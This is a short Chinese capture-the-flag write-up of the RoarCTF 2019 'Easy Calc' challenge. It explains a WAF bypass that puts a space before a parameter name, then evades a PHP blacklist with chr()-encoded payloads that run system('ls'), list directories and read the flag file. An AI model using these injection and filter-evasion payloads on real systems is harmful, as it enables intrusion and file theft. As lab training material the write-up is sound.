[RoarCTF 2019]Easy Calc1
输入1
输入1'
sql注入不行
查看源码 发现calc.php
进入发现源码
有黑名单禁止
传入 ?num=system('ls'); 返回页面
假设是被上面的 php 文件中的过滤机制过滤了,那么应该输出:what are you want to do? ,这句话才对,但是出现这种画面,应该是被防火墙拦截了。
看wp学一种新做法
传入 ? num=system('ls');
回显是php过滤了
原理是什么:假设服务器只对num参数过滤 而这相当于我们传入的参数是空格 就没有检测到num 而当空格num传到后端 被php代码处理就会自动去除多余空格和制表符
绕过waf过后 就是绕过php正则了
那么这里如何绕过黑名单呢
payload:? num=var_dump(scandir(chr(46)));
逐步解析
scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组。scandir(".") 表示获取当前目录下的文件列表
因为这里禁了.   所以我们用char(46)    #ASCII码值
var_dump() 函数将该列表输出到页面上
然后再输入payload:? num=var_dump(scandir(chr(47)));
显现出了f1agg
然后我们要读取 这个文件
payload:? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103));
逐步解析:
file_get_contents
file_get_contents() 函数把整个文件读入一个字符串中
而后是 f1agg ASCII转字符串
‘.’ 用作字符串连接
最终出flag
 
                    
                     
                    
                 
                    
                 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号